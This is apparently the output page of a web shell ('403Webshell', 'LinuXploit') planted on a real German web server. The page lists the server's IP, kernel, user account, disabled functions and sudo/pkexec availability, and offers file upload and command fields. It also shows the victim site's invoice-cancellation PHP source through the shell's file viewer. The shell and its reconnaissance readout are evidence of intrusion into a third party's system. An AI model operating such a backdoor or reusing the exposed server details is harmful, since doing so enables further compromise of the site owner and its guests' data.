403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/invoice-reverse.php
<?php
/**
 * invoice-reverse.php – Rückabwicklung einer Rechnung aus der Tagesansicht (Tab Rechnungen).
 *
 * Setzt die Rechnung auf storniert, entfernt Rechnungsnummer + Zahlung und gibt die
 * Nummer für die lückenlose Wiederverwendung frei (Pool). Nur am selben Tag und nur
 * bis 21:00 Uhr möglich. Liefert die aktualisierte Rechnungsliste/Statistik des Tages zurück.
 *
 * Aktionen:  reverse  POST invoice_id
 */
require_once( __DIR__ . '/includes/config.inc.php' );
@ini_set( 'display_errors', '0' );
error_reporting( 0 );
ob_start();

function ir_json( $a ) { while ( ob_get_level() > 0 ) ob_end_clean(); header( 'Content-Type: application/json; charset=utf-8' ); echo json_encode( $a ); exit(); }
function ir_fail( $m, $code = 200 ) { http_response_code( $code ); ir_json( array( 'ok' => false, 'error' => $m ) ); }

if ( ! function_exists( 'is_admin' ) || ! is_admin() ) { ir_fail( 'forbidden', 403 ); }

$action = $_GET['action'] ?? ( $_POST['action'] ?? '' );
$db     = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );

/** Zeitfenster: Rückabwicklung am Anreisetag (bis 21:00 Uhr) ODER an einem zukünftigen Anreisetag
 *  (jederzeit, z. B. Vorab-Zahlung/-Check-in). Vergangene Anreisetage sind gesperrt. */
function ir_within_window( $arrivalDay ) {
    $day = substr( (string) $arrivalDay, 0, 10 );
    if ( $day === '' ) return false;
    $today = date( 'Y-m-d' );
    if ( $day < $today ) return false;                      // Vergangenheit: gesperrt
    if ( $day > $today ) return true;                       // Zukunft: jederzeit
    return ( (int) date( 'H' ) < 21 );                      // heute: bis 21:00 Uhr
}

if ( $action === 'reverse' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) ir_fail( 'method', 405 );
    $iid = (int) ( $_POST['invoice_id'] ?? 0 );
    if ( $iid <= 0 ) ir_fail( 'Ungültige Rechnung.' );

    $inv = $db->rawQueryOne( "SELECT invoice_id, invoice_no, invoice_status, invoice_date FROM pacim_invoice WHERE invoice_id = ?", array( $iid ) );
    if ( ! $inv ) ir_fail( 'Rechnung nicht gefunden.', 404 );
    if ( (int) $inv['invoice_status'] === 3 ) ir_fail( 'Rechnung ist bereits storniert.' );
    // Zeitfenster auf Basis des ANREISETAGS (Tagesansicht = Anreisedatum), nicht des Rechnungsdatums –
    // so ist die Rückabwicklung auch für künftige Anreisen (Vorab-Zahlung/-Check-in) möglich.
    $arr     = $db->rawQueryOne( "SELECT MIN(booking_begin) AS arrival FROM pacim_booking WHERE booking_invoice = ?", array( $iid ) );
    $gateDay = substr( (string) ( ( $arr && $arr['arrival'] ) ? $arr['arrival'] : $inv['invoice_date'] ), 0, 10 );
    if ( ! ir_within_window( $gateDay ) ) ir_fail( 'Rückabwicklung ist nur bis zum Anreisetag möglich (am Anreisetag selbst bis 21:00 Uhr).', 403 );

    $no  = (string) $inv['invoice_no'];
    $num = ( preg_match( '/(\d+)/', $no, $m ) ) ? (int) $m[1] : 0;

    $db->startTransaction();
    try {
        // Rechnung stornieren, Nummer + Zahlung entfernen
        $db->where( 'invoice_id', $iid );
        $ok = $db->update( 'pacim_invoice', array(
            'invoice_no'      => '',
            'invoice_status'  => 3,
            'invoice_payment' => 0,
            'invoice_paydate' => null,
        ) );
        if ( ! $ok ) throw new Exception( 'Rechnung konnte nicht aktualisiert werden.' );

        // Zahlungsdatensätze entfernen
        $db->rawQuery( "DELETE FROM pacim_payments WHERE payment_invoice = ?", array( $iid ) );

        // Check-in (und Check-out) der zugehörigen Buchungen zurücksetzen – als wäre nie eingecheckt worden
        $db->rawQuery( "UPDATE pacim_booking SET booking_checkin = NULL, booking_checkout = NULL WHERE booking_invoice = ?", array( $iid ) );

        // Nummer für lückenlose Wiederverwendung freigeben (Pool)
        if ( $num > 0 && class_exists( 'bookingservice' ) ) bookingservice::freeInvoiceNo( $db, $num );

        $db->commit();
    } catch ( Exception $e ) {
        $db->rollback();
        ir_fail( 'Rückabwicklung fehlgeschlagen: ' . $e->getMessage() );
    }

    // Erzeugtes Rechnungs-PDF best-effort entfernen (Nummer ist nun frei)
    if ( $no !== '' && defined( 'PATH_DATAS' ) ) { $pdf = rtrim( PATH_DATAS, '/' ) . '/invoice/' . $no . '.pdf'; if ( is_file( $pdf ) ) @unlink( $pdf ); }

    // Aktualisierte Tagesdaten zurückgeben (Anreisetag = Tagesansicht)
    $data = ( class_exists( 'dayview' ) ) ? ( new dayview() )->invoices( $gateDay ) : null;
    ir_json( array( 'ok' => true, 'invoice_id' => $iid, 'freed_no' => $no, 'invoices' => $data ) );
}

ir_fail( 'unknown_action' );

Youez - 2016 - github.com/yon3zu
LinuXploit